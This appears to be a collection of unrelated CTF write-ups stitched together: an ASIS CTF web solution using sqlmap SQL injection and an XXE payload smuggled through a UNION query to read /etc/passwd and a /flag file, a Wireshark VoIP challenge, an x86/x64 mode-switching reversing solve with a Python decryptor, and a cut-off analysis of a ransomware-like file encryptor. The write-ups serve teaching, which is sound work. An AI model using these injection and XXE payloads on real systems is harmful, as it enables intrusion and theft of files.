[07:05:43] [INFO] table 'ASISCTF.books' dumped to CSV file '/home/ubuntu/.sqlmap/output/poems.asisctf.com/dump/ASISCTF/books.csv'[07:05:43] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 07:05:43```
So at this point you know that a `<flag>` XML element is hidden into `books` table, but not into book with `id = 1`; you can launch a custom query to exfiltrate only the `info` column for other books: `select info from ASISCTF.books where id > 1`.
```user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 1 --dbms=mysql -D ASISCTF -T books --sql-query="select info from ASISCTF.books where id > 1" ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [,] | .'| . ||___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:08:11
[07:08:12] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[07:08:14] [INFO] testing MySQL[07:08:14] [INFO] confirming MySQL[07:08:14] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[07:08:14] [INFO] fetching SQL SELECT statement query output: 'select info from ASISCTF.books where id > 1'[07:08:17] [INFO] used SQL query returns 2 entries[07:08:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[07:08:24] [INFO] retrieved: 2the SQL query provided can return 2 entries. How many entries do you want to retrieve?[a] All (default)[#] Specific number[q] Quit> a[07:09:42] [INFO] retrieved: <book> <id>2</id> <name>Gulistan of Saadi</name> <author>Abū-Muhammad Muslih al-Dīn bin Abdallāh Shīrāzī, the Saadi</author> <year>1258</year> <link>https://ganjoor.net/saadi/golestan/gbab1/sh36/</link> <flag>OK! You can use ASIS{6e73c9d277cc0776ede0cbd36eb93960d0b07884} flag, but I keep the `/flag` file secure :-/</flag> ^C
[09:05:56] [WARNING] user aborted during dumping phase[09:05:56] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 09:05:56```
The flag is the following.
```ASIS{6e73c9d277cc0776ede0cbd36eb93960d0b07884}```
## Treasury 2
* **Category:** web* **Points:** 53
### Challenge
> A Cultural Treasury> > https://poems.asisctf.com/
### Solution
Considering the XML-related error spawned previously and the hint provided into the `<flag>` element talking about a `/flag` file, you can understand that the application can be exploited via a XXE attack.
The malicious payload can be crafted and passed via the SQL injection vulnerability using a `UNION` operation. The application will parse the XML payload triggering the remote file read operation.
Let's consider a payload like the following to test the exploit.
```Payload:
]><book><id>0</id><name>n</name><author>a</author><year>0</year><link>l</link><flag>f</flag><excerpt>&xx;;</excerpt></book>
URL-encoded payload:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E
Malicious URL:
https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%20%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E%27%20%23
Result:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin```
So it is possible to read remote files. PHP filters can be used to read source code via base64 encoding.
```Payload:
]><book><id>0</id><name>n</name><author>a</author><year>0</year><link>l</link><flag>f</flag><excerpt>&xx;;</excerpt></book>
URL-encoded payload:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E
Malicious URL:
https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%20%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E%27%20%23
Result:
QVNJU3swMzQ4MmIxODIxMzk4Y2NiNTIxNGQ4OTFhZWQzNWRjODdkM2E3N2IyfQo=```
Decoding the base64 encoded result you can obtain the flag.
```ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2}``` |
# Callboy
 
```txtHave you ever called a Callboy? No!? Then you should definitely try it. To make it a pleasant experience for you, we have recorded a call with our Callboy to help you get started, so that there is no embarrassing silence between you.
PS: do not forget the to wrap flag{} around the secret```
---
To get started, open the `Callboy.pcapng` in Wireshark. In there you will notice a Protocol called `RTP` - `Real-Time Transport Protocol`. "[...]is a network protocol for delivering audio and video over IP networks. RTP is used in communication and entertainment systems that involve streaming media, such as telephony, video teleconference applications including WebRTC, television services and web-based push-to-talk features. [...]"

This made sense, since the description of the challenge implied, that there is a call, we have to listen to. But how are we gonna get the audio from those packets?
[This](https://support.yeastar.com/hc/en-us/articles/360007606533-How-to-Analyze-SIP-Calls-in-Wireshark) website's second point "SIP Call analysis" tells us, how we are gonna do that. Following the instructions by clicking on "Telephony/Voip Calls" we get this window:

.. as you can see, there is one call, which lasted 15 seconds. By selecting it and clicking on the play button in the bottom of the window, a nice window appears, where we can play the call.

Sadly enough, we can only play and stop the track, but not pause or resume it. By clicking on play, the flag reveals itself.
flag{call_me_baby_1337_more_times}
flag{call_me_baby_1337_more_times} |
## x96
Full disclosure: this is the happy path, there were a lot of sad paths with this challenge and many hours spent pulling out my hair to get to the flag. Very cool challenge though!
### Starting: What is this thing?
The first obvious step is to get info on the binary itself, and running it to see what it does.
```$ readelf -h ./x96ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048054 Start of program headers: 52 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 1 Size of section headers: 40 (bytes) Number of section headers: 0 Section header string table index: 0```
And let’s see some strings in the binary itself:
```$ strings ./x96Ft|YwgWCorrect!Nope!```
Hmm alright, well that’s straight forward enough, looks like there’s a `Correct!` and `Nope!` string, which have pretty obvious uses. Get the binary to return `Correct!` and likely we have found our flag!
Ok, so it’s a standard 32 bit ELF. Cool, should be straight forward, right? Let’s try running it.
```$ ./x96hello?Nope!```
Ok, rude. Then again it wouldn’t be much of a CTF if that actually worked, now would it? (Note: I typed in `hello?` and hit enter to get this result).
### Running in a debugger
Alright, so we have a 32 bit binary that takes some input via STDIN, does *something* with that, then prints out `Nope!` for an incorrect input, and `Correct!` for a valid one. Now, how do we find the correct input? Let’s fire things up in a debugger!
Typically I use GDB + PEDA (https://github.com/longld/peda) for dynamic analysis, though I heard about PWNDBG (https://github.com/pwndbg/pwndbg) recently so I chose that. I usually combine dynamic analysis along with static analysis tools like Hopper or IDA to get both sides of the equasion in terms of exploring the codebase (live debugging) and being able to reason about things quickly (reviewing static analysis).
So let’s pull up things in Hopper and GDB and see what we see!
### Investigating with Hopper
Opening our binary in Hopper, the first thing to nonie is that things are really small. There’s not a lot of actual *code* here (notice at the top where those 9 instructions make up a decent chunk of the visual graph.

The only other section auto-analyzed is clearly the failure path :(

Alright so nothing particularly striking about this. Let’s fire things up in a debugger and see what’s actually happening.
### Splunking around with GDB/PWNDBG
First we need to simulate STDIN with GDB, which can be accomplished with the following (I’m using 8 `A` characters, since in hex I can just look for `0x41` if my tools don’t pick things up for some reason.
```$ cat test.txtAAAAAAAA$ gdb x96--- SNIP ---pwndbg: loaded 178 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from x96...(No debugging symbols found in x96)pwndbg> starti < test.txt```
`starti` tells GDB to start the binary, but break at the entry point defined in the header - check out the `readelf` info to see our entry point is `0x8048054`, so that’s where we can expect to drop in.
As expected, we hit our first breakpoint

(don’t worry about the `warning: Error disabling address space randomization: Operation not permitted`, I’m running my CTF tools in a low-privileged docker environment, so random stuff like this occurs occasionally)
```nasm0x8048054 dec eax0x8048055 mov ax, cs0x8048058 cmp ax, 0x230x804805c jne 0x80481a5 <0x80481a5>```
So examining the first 4 instructions, we see some sort of check followed by a jump (essentially just an if statement). This is common in a lot of binaries, so let’s just keep stepping. Note that the `jne` instruction will jump us to the location at `0x80481a5`, which if we check our static analysis is our failure function!
Thankfully, we don’t take that jump, so the first check passes (whatever it is). Let’s keep stepping (using `si` for `step instruction`).
After the branch, we see some things getting pushed onto the stack, followed by a `retf`:
```nasm0x8048062 push eax0x8048063 or al, 0x130x8048065 push eax0x8048066 push 0x804806c0x804806b retf```
The `retf` in particular sticks out, since it’s a return function from our entry point? `ret` will usually just blindly jump to whatever address is on the stack (IIRC), so it must be being used here for that. I’ve seen a lot of `ret` instructions, but never seen the `retf` instruction before. Weird.
Anyway, let’s step through things, watching the lower bytes of `eax` (`al` , which is `0x23`) get pushed to the stack, then get bitwise OR’d with `0x13` (giving us `0x33`). That also gets pushed to the stack, along with the memory address `0x804806c`.
Let’s go into hopper and see where that memory address points:

Well that’s not a great sign D: it looks like Hopper can’t figure out how to disassemble this code! What if we mark it specifically as a code section (using `c` on the memory address itself).

Ah, that’s a bit better, but `aeskeygenassist` and `xmm` registers? That’s pretty hardcore, let’s step through stuff in our debugger and see what’s this actually does.
Stepping through the `retf` something…strange begins to happen. We jump to our `0x804806c` address, but as we start to step through things, our EIP is jumping forward/skipping instructions! What sort of weird magic nonsense is this!? We should’ve gone from `0x804806c` to `0x804806d` (`dec eax` is a single byte instruction). Instead we jumped to `0x8048076`, which is many more bytes than that!



This is something that drove me absolutely bonkers. I couldn’t understand why my tools were all changing their story as I was executing things.
Pulling things apart in objdump, we also get the assembly code we started with, not what we’re seeing! What gives?
At this point all my tools are flawed and broken, just like my spirit :(.
### Back to the start
As it turns out, that entry point function checking the `cs` register is actually the key to this whole thing! I tried a *lot* of random things to see if I could figure out what was going on, when I should’ve examined the entry-point code to see what it was actually doing instead of skipping over it and writing it off as some weird preamble to jump to a main function elsewhere!
```nasm0x8048054 dec eax0x8048055 mov ax, cs0x8048058 cmp ax, 0x230x804805c jne 0x80481a5 <0x80481a5>```
So here’s our entry point. The real question we need to ask is what’s up with that `cs` register, and why is it examining whether it’s a `0x23`? We already know if it’s *not* `0x23` it’ll jump to our `Nope!` code and fail out.
Googling around, the first thing that pops up is this excellent write-up from HITCON 2016 - https://blukat29.github.io/2016/10/hitcon-quals-2016-mixerbox/
Specifically it calls out the odd behavior we see, along with that weird `retf` instruction!```retf instruction pops two numbers, return address and cs segment register. According to here (https://wiki.osdev.org/X86-64#Long_Mode) and here (http://stackoverflow.com/a/32384358), setting cs=0x23 puts the CPU into x86 mode, and setting cs=0x33 puts the CPU into x86-64 mode (long mode). So the interpretation of the machine code differs before and after retf.```
TL;DR - when our `cs` register is set to `0x23`, our processor is in 32-bit mode and executing the code as x86 assembly. However, when the `cs` register is `0x33`, we’re executing the code in “long mode”, so it seems like this binary might be playing jumprope with this feature to throw off our analysis!
Now that we know the game, we can start to figure out ways to work around it. I spent…more time than I prefer to admit trying to get Hopper and GDB/PWNDBG to process this stuff as a 64 bit binary (or rather, what it is which is a 32 bit binary with 64 bit tendencies), but was met with brick walls and esoteric documentation :(.
### A different static analyzer!
At this point we *have* to be able to debug and reason about this thing, so without a workflow that allows it, we’re hosed. First we need broad strokes info (static analysis), so I installed Binary Ninja (https://binary.ninja/), which I’d only tinkered a bit with before to see if it could help.
Looks like it automatically decompiled our entry point for us, and spells out our `0x23` check described above. Neat!
If you notice the hex dump (signaling it doesn’t know how to interpret/decompile things) starts at address `0x804806c`, which is the same address that we jump to with that weird `retf` instruction.

Clicking around, I found this super neat context menu:

Clicking this creates a 64 bit function at the address we know we’re jumping into once flipping the processor into 64 bit mode, and voila!

Clicking around more I see that we’re in `Disassembly` mode, what happens if we flip it to “High Level IL”?

Clicking it, we’re greeted with this

Now that’s some fancy magic! It looks like there’s a pretty distinct happy/sad path. Good enough for the static side, and thank you Binary Ninja!
Now, changing gears back to the dynamic side. When I need a debugger that has more flexibility I tend to reach to radare2 (https://github.com/radareorg/radare2 - shoutouts to @pancake!), and I’m happy to say it was exactly what I needed for this :).
The notes on invoking radare2 while passing STDIN through a file are a bit weird. Mostly they boil down to this thread on the GitHub, but the secret is to use the `-R` flag to set the directive.
```$ radare2 -R stdin=./test.txt -d x96Process with PID 127 started...= attach 127 127bin.baddr 0x08048000Using 0x8048000asm.bits 32 -- (gdb) ^D[0x08048054]>```
As you can see, we’re dropped into a shell that auto-breaks at our entry point (`0x08048054`) - great!
Radare is a bit esoteric in its commands/interface, but once you get used to them they’re quite powerful (albeit confusing sometimes).
We can go into visual mode with `V`, though by default we’re in hexdump mode, so you can either execute `V`, followed by pressing `p` twice, or just execute `Vpp` at the beginning. That gives us a nice interface akin to PWNDBG’s `context` command (but just different enough to be confusing! :P).

`s` is the step-instruction command, and like all esoteric linux CLI’s you can use `:` to get into a command mode where you can examine registers (`dr` or “debugger register”), so let’s step to our comparison and ensure `cs` is still indeed 0x23

Groovy! That’ll work. How about this weird 64 bit stuff? Let’s put up a breakpoint using `db` (or “debugger breakpoint”) at the memory address we return from after our `retf` instruction. Scrolling back, our target address is `0x804806c`, so we use `db 0x804806c` to set a breakpoint there.
You can confirm it in the visual editor with the `b` on that address

At this point let’s continue execution `dc` (or “debugger continue”) until we hit our breakpoint (I ran this in the `:` mode for the visual debugger).

Hitting enter once again refreshes the editor

Neato, so now that we’re at our breakpoint, we know if we start stepping through things weird stuff happens. So now the trick is to flip radare2 into 64 bit more, and re-analyze things!
This can be accomplished by using 2 commands:- `e asm.bits=64` - “edit the config to set the `asm.bits` field to `64`”, essentially marking the binary as 64 bit- `aaa` - “re-analyze the function deeply” (you can specify different levels of `a` for deeper analysis, but 4 seemed to never complete for some reason)
These can be combined onto one line with `e asm.bits=64; aaa;`, so pasting that into our `:` prompt and hitting enter twice will yield what we’re looking for!

Booyah! Now we can step through our debugger in 64 bit mode (and to flip things back into 32 bit mode you can use the same process, just specifying `32` instead of `64`).
### What were we doing again?
So now that we have our tools sorted, we can continue analysis in a way that doesn’t make us question if there are literal ghosts in our processor.
```nasmmov rax, 0xdf3a0f66090f1b37mov rdi, 0xe9f4e2ebe86423caxor eax, eax {0x0}xor rdi, rdi {0x0}mov rsi, data_80481f6mov rdx, 0x24syscall ```
Out come the trolls! The first 2 instructions do nothing, since instructions 3 and 4 clear out the values pushed in by the first 2 `mov` commands. Those `xor` instructions are used later though!
That just leaves the following, which is important:
```nasmxor eax, eax {0x0}xor rdi, rdi {0x0}mov rsi, data_80481f6mov rdx, 0x24syscall ```
Without getting too much into calling conventions and the kernel, just know there’s a handy-dandy table found here - https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ that will give you the registers per syscall.
With the `syscall` instruction, `rax` is the particular system call type, which we see above is just `xor eax, eax`’d onto itself to be `0x0`. The `0x0` sys call is `sys_read`, and has arguments passed in `rdi` `rsi` `rdx` (or in our compatibility mode case, `edi`, `esi`, and `edx`.
Note: don’t be confused by the `rdx`/`edx` differences - they’re just different names for the same register, `r*` being the 64 bit references. For our purposes (since we’re in a compatibility mode) `rax` and `eax` are essentially the same so keep in mind the documentation might vary slightly.
So essentially we have the following sys call being created:```csys_read(0, &data, 0x24)```
Which is saying “read 0x24 (36) bytes from file descriptor 0 (which is STDIN), and store them into the pointer `data_80481f6`”.
Let’s examine the data buffer before executing the sys call. Stepping until `0x08048093`, we can then execute the following to print out a hexdump of the buffer:
```nasm[0x0804806c]> px36 @ 0x80481f6- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x080481f6 0000 0000 0000 0000 0000 0000 0000 0000 ................0x08048206 0000 0000 0000 0000 0000 0000 0000 0000 ................0x08048216 0000 0000 ....```
Neat, it’s empty. Stepping once more (`s`), we see our data!
```nasm[0x08048095]> px36 @ 0x80481f6- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x080481f6 5445 5354 494e 4700 0000 0000 0000 0000 TESTING.........0x08048206 0000 0000 0000 0000 0000 0000 0000 0000 ................0x08048216 0000 0000 ....```
### Zooming back out
Ok, so we know that our data doesn’t get read in until `0x08048095` (and more importantly that our data is 36 bytes long!), so let’s go continue from there.

The next thing that’s done is to push the memory address `0x8048175` into `edx`. That’s not important for right now but it will be in a moment.
We also set `ecx` to `0`, and reading further down the list we see that there’s a `cmp ecx, 0x24`, which implies a variable check/if statement, so `ecx` is likely our counter used to copy each byte of our input, then doing something with it.
Next we come to this `movabs rbx, 0x358d0150819cf3c4` instruction. That literally just writes the value `0x358d0150819cf3c4` into `eax`, but remember since we don’t have a 64 bit register (or rather our registers are in compatibility mode), only `0x819cf3c4`. I’m not sure if this is a shortcoming of radare2 or if the registers are also operating in 32 bit mode with this `cs` register switch.
Moving on, next we see a `ror rbx, cl` instruction. `ror` is the “ROtate Right” instruction and essentially just right-shifts the underlying binary representation of the `rbx` register value by `cl` bytes (in this case, `cl` is the lower bytes of `ecx`, which is our index variable. The first time this runs it’ll shift by `0`, second time by `1`, etc etc). TL;DR this `0x358d0150819cf3c4` value is being shifted every iteration by the current index.
Now, stepping along into our actual loop logic:

You can see that the first thing done is to move a byte from the memory address at `ecx + esi` (`ecx`, if you’ll remember is our index variable/counter, and `esi` is the pointer to our data from STDIN). So this is the assembly responsible for reading our STDIN data one byte at a time.
Next, is everyone’s favorite assembly instruction `xor`! It’s used heavily to construct xor encryption for binaries, so likely that’s what we’re dealing with here. The `mov al, byte [ecx + esi]` instruction simply pulls one byte out of the input string, then `xor al, bl` xor’s that one byte with the lower byte of the `bl` register. If you’ll recall, that’s where we were doing our fancy `ror` work, and storing the result in. It sure looks like that’s how one would go about constructing a non-static/non-repeating xor key in a way that was obfuscated to me!
Great, so we now understand how iteration happens, how many times it happens (and presumably the size of the input), as well as where these xor keys are generated from, but where’s our actual encrypted data?
Looking at our last instruction above, we see `cmp al, byte [ecx + 0x80481c3]`, which is mighty similar to our instruction that was reading our input one byte at a time, so let’s look at `0x80481c3`.

Hey look, it’s our `Correct!`/`Nope!` strings, along with some other random data. I bet that other random data is 36 bytes long!

As expected, we have likely found our encrypted memory! Now let’s get that encrypted memory dumped to something so we can manipulate it programmatically
### Rescuing the data and decrypting it
Back in Binary Ninja, I hit `g` for “goto”, and paste in `0x80481c3`. This takes us to our expected encrypted data

An astute observer will maybe see something I missed originally, which is that in Binary Ninja the first byte at `0x80481c3` is being coerced into a 1 byte char array. Let’s un-define that so we get our whole buffer (otherwise things will be 1 byte off, and cause you to question your reality again, and no-one wants that).
If we right click on `-0x5e` and go to `Undefine Variable`, things fall in line as expected!

Now we can copy our buffer, which handily enough dumps it to a python-compatible string!

Now we’re given the following byte array that we can pop into python for actually decrypting it algorithmically:```\xa2\x8e\x90\x1fG\xf0\xfc\x9f\x87&H\xaf\xa2\xd4,N\xaf\x91\rFt|Yw\xb1\x1fR#<\xe8\x1d\xcc`\xccgW```
### Decrypting this madness
All that’s left to do now is marry our knowledge of:- The length of our input data (0x24 bytes/36 bytes)- The magic involved with each iteration to produce an xor key (right-shifting the `0x358d0150819cf3c4` data by N number of places, where N is the current iteration index)- The encrypted data that we have
I put together a python script to do this all for me, and while it was a bit of tinkering (and looking for implementations of the `ror` instruction, stupidly forgetting that python has native bitwise shifting capabilities with the `<<` and `>>` operators). In the end it works though!
```pythonimport sys
flag_size = 0x24seed = 0x358d0150819cf3c4data = b'\xa2\x8e\x90\x1fG\xf0\xfc\x9f\x87&H\xaf\xa2\xd4,N\xaf\x91\rFt|Yw\xb1\x1fR#<\xe8\x1d\xcc`\xccgW'
decrypted_bytes = []
for (data_byte, index) in zip(data, range(flag_size)): # Do our 'roll right' by shifting right new_seed = seed >> index # Lop off the last byte as our new xor key xor_key = new_seed & 0xFF
# Some debug info sys.stdout.write("Index: {:02d} - Byte: {:02x} - ".format(index, data_byte)) sys.stdout.write("Seed: {:08x} - XOR Key: {:02x} - ".format(new_seed, xor_key))
# Decrypt the byte decrypted_byte = chr(data_byte ^ xor_key) sys.stdout.write("Decrypted Byte: {}\n".format(decrypted_byte))
decrypted_bytes.append(decrypted_byte)
# Victory!print("Flag - {}".format(''.join(decrypted_bytes)))```
Which dumps out the following:
```Index: 00 - Byte: a2 - Seed: 358d0150819cf3c4 - XOR Key: c4 - Decrypted Byte: fIndex: 01 - Byte: 8e - Seed: 1ac680a840ce79e2 - XOR Key: e2 - Decrypted Byte: lIndex: 02 - Byte: 90 - Seed: d63405420673cf1 - XOR Key: f1 - Decrypted Byte: aIndex: 03 - Byte: 1f - Seed: 6b1a02a10339e78 - XOR Key: 78 - Decrypted Byte: gIndex: 04 - Byte: 47 - Seed: 358d0150819cf3c - XOR Key: 3c - Decrypted Byte: {Index: 05 - Byte: f0 - Seed: 1ac680a840ce79e - XOR Key: 9e - Decrypted Byte: nIndex: 06 - Byte: fc - Seed: d63405420673cf - XOR Key: cf - Decrypted Byte: 3Index: 07 - Byte: 9f - Seed: 6b1a02a10339e7 - XOR Key: e7 - Decrypted Byte: xIndex: 08 - Byte: 87 - Seed: 358d0150819cf3 - XOR Key: f3 - Decrypted Byte: tIndex: 09 - Byte: 26 - Seed: 1ac680a840ce79 - XOR Key: 79 - Decrypted Byte: _Index: 10 - Byte: 48 - Seed: d63405420673c - XOR Key: 3c - Decrypted Byte: tIndex: 11 - Byte: af - Seed: 6b1a02a10339e - XOR Key: 9e - Decrypted Byte: 1Index: 12 - Byte: a2 - Seed: 358d0150819cf - XOR Key: cf - Decrypted Byte: mIndex: 13 - Byte: d4 - Seed: 1ac680a840ce7 - XOR Key: e7 - Decrypted Byte: 3Index: 14 - Byte: 2c - Seed: d63405420673 - XOR Key: 73 - Decrypted Byte: _Index: 15 - Byte: 4e - Seed: 6b1a02a10339 - XOR Key: 39 - Decrypted Byte: wIndex: 16 - Byte: af - Seed: 358d0150819c - XOR Key: 9c - Decrypted Byte: 3Index: 17 - Byte: 91 - Seed: 1ac680a840ce - XOR Key: ce - Decrypted Byte: _Index: 18 - Byte: 0d - Seed: d6340542067 - XOR Key: 67 - Decrypted Byte: jIndex: 19 - Byte: 46 - Seed: 6b1a02a1033 - XOR Key: 33 - Decrypted Byte: uIndex: 20 - Byte: 74 - Seed: 358d0150819 - XOR Key: 19 - Decrypted Byte: mIndex: 21 - Byte: 7c - Seed: 1ac680a840c - XOR Key: 0c - Decrypted Byte: pIndex: 22 - Byte: 59 - Seed: d634054206 - XOR Key: 06 - Decrypted Byte: _Index: 23 - Byte: 77 - Seed: 6b1a02a103 - XOR Key: 03 - Decrypted Byte: tIndex: 24 - Byte: b1 - Seed: 358d015081 - XOR Key: 81 - Decrypted Byte: 0Index: 25 - Byte: 1f - Seed: 1ac680a840 - XOR Key: 40 - Decrypted Byte: _Index: 26 - Byte: 52 - Seed: d63405420 - XOR Key: 20 - Decrypted Byte: rIndex: 27 - Byte: 23 - Seed: 6b1a02a10 - XOR Key: 10 - Decrypted Byte: 3Index: 28 - Byte: 3c - Seed: 358d01508 - XOR Key: 08 - Decrypted Byte: 4Index: 29 - Byte: e8 - Seed: 1ac680a84 - XOR Key: 84 - Decrypted Byte: lIndex: 30 - Byte: 1d - Seed: d6340542 - XOR Key: 42 - Decrypted Byte: _Index: 31 - Byte: cc - Seed: 6b1a02a1 - XOR Key: a1 - Decrypted Byte: mIndex: 32 - Byte: 60 - Seed: 358d0150 - XOR Key: 50 - Decrypted Byte: 0Index: 33 - Byte: cc - Seed: 1ac680a8 - XOR Key: a8 - Decrypted Byte: dIndex: 34 - Byte: 67 - Seed: 0d634054 - XOR Key: 54 - Decrypted Byte: 3Index: 35 - Byte: 57 - Seed: 06b1a02a - XOR Key: 2a - Decrypted Byte: }Flag - flag{n3xt_t1m3_w3_jump_t0_r34l_m0d3}```
So our flag is `flag{n3xt_t1m3_w3_jump_t0_r34l_m0d3}`
Putting that back into the binary itself via stdin yields us a very rewarding `Correct!`
 |
# RageQuit - BalCCon2k20 CTF (rev, 497p, 1 solved)## Introduction
RageQuit is a reversing task.
An archive containing a Linux ELF file, its output and an encrypted file isprovided.
The output contains references to `xchacha20-poly1305` :> send the payment reference below to [email protected]
> able to afford some x-Cha-Cha-Cha dancing lessons
## Reverse engineering### InitializationThe main function first does a weird dance to call a function while ensuringthere is only one argument :```cfptr[argc](0, buffer);```
If argc is not 1, the call will crash.
The function does pretty much nothing if the first argument is 0 : it onlyprints a obfuscated message.
Then, the program prepares a regular expression : `^.+\.flag$`. It is used toensure only files ending with `.flag` are encrypted.
The program calls a function that calls 10 other functions... fortunately thefirst one uses assertions and gives away its name : `sodium_crit_enter`.
By looking for cross-references to `sodium_crit_enter` in the source code ofLibsodium, it becomes clear that this first function is in fact `sodium_init`.
The next function cannot be easily identified (it is`crypto_aead_xchacha20poly1305_ietf_keygen`). But the one after is a POSIXfunction : `ftw` (file tree walk). It receives a callback that is called forevery file in the current directory recursively.
The callback ensures the filename matches the regex and encrypt the file if itdoes.
### Encryption routine
The encryption can be roughly decompiled to :```cFILE *fp_in = fopen(filename, "rb+");FILE *fp_out = fopen(outname, "wb");FILE *fp_rng = fopen("/dev/urandom", "r");char buffer[0x1000]
unlink(filename);
while(1) { size = fread(buffer, 1, sizeof(buffer), fp_in); if(feof(fp_in)) break;
/* encrypt and write the output */ encrypt(buffer); fwrite(buffer, size, 1, fp_out);
/* rewind and overwrite with garbage */ fseek(fp_in, -size, SEEK_CUR); fread(buffer, size, 1, fp_rng); fwrite(buffer, size, 1, fp_in);
}
/* encrypt and write the output */encrypt(buffer);fwrite(buffer, size, 1, fp_out);
/* rewind and overwrite with garbage */fseek(fp_in, -size, SEEK_CUR);fread(buffer, size, 1, fp_rng);fwrite(buffer, size, 1, fp_in);```
